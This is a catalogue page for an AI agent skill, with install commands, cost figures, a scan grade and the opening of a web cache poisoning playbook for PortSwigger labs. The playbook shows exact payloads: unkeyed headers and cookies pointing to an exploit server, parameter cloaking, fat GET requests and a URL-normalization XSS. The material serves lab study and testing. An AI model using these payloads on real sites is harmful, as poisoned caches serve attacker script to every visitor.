Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoningWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00028 | $0.01302 |
| Opus 5 | $0.00014 | $0.00651 |
| Sonnet 5 | $0.00006 | $0.00260 |
| Haiku 4.5 | $0.00003 | $0.00130 |
Grade A, and why
Web Cache Poisoning — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial] This is a copy
89% identical to Server-Side Template Injection — Complete Deep Dive — 90 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 160 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Web Cache Poisoning — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Unkeyed header 🟡 PRACTITIONER
GET / HTTP/1.1
X-Forwarded-Host: EXPLOIT-SERVER
Cache stores response with your malicious host in script/link tags.
Lab 2: Unkeyed cookie 🟡 PRACTITIONER
GET / HTTP/1.1
Cookie: fehost=EXPLOIT-SERVER"
Lab 3: Multiple headers 🟡 PRACTITIONER
Combine X-Forwarded-Host + X-Forwarded-Scheme: http to force redirect to your server.
Lab 4: Unknown header 🟡 PRACTITIONER
Use Param Miner to discover: X-Host, X-Forwarded-Server, etc.
Lab 5: Unkeyed query string 🟡 PRACTITIONER
Query string excluded from cache key → add XSS in query, all users get poisoned response.
Lab 6: Unkeyed query parameter 🟡 PRACTITIONER
Specific parameter excluded from cache key (e.g., utm_content). Inject XSS there.
Lab 7: Parameter cloaking 🟡 PRACTITIONER
/js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1)
Backend parser sees second callback, cache key only includes first.
Lab 8: Fat GET request 🟡 PRACTITIONER
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
Content-Length: 30
callback=alert(1)
GET with body — backend reads body param, cache uses URL param as key.
Lab 9: URL normalization 🟡 PRACTITIONER
/random</p><script>alert(1)</script><p>foo — browser URL-encodes, cache doesn't → poisoned.
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 160 lines · 28 tokens per session scan A e52a03674740
Web Cache Poisoning — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 28 tokens to every session and 1,302 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 89% identical to Server-Side Template Injection — Complete Deep Dive, differing in 90 lines, and is treated as a copy.
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